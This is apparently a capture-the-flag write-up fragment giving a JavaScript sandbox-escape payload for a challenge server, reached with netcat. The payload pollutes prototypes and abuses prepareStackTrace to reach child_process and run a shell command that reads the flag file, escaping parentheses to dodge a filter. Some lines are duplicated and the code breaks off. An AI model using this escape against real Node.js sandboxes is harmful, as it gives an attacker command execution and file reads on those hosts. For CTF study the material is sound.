- 5 solves / 365 pts
- Author: n4o847
- CTFtime: https://ctftime.org/event/2013/
My solution:
$ nc 34.84.217.62 30002
My solution:
$ nc 34.84.217.62 30002
let code = ` | |
Function=this.constructor.constructor; | |
Array.prototype.toString=Object.prototype.toString; | |
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//"; | |
Object.prototype.prepareStackTrace=Function; | |
e=new Error; | |
x={toString:e.stack}+''; | |
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29'); | |
console.log(code); | |
if (process.env.DEBUG) { |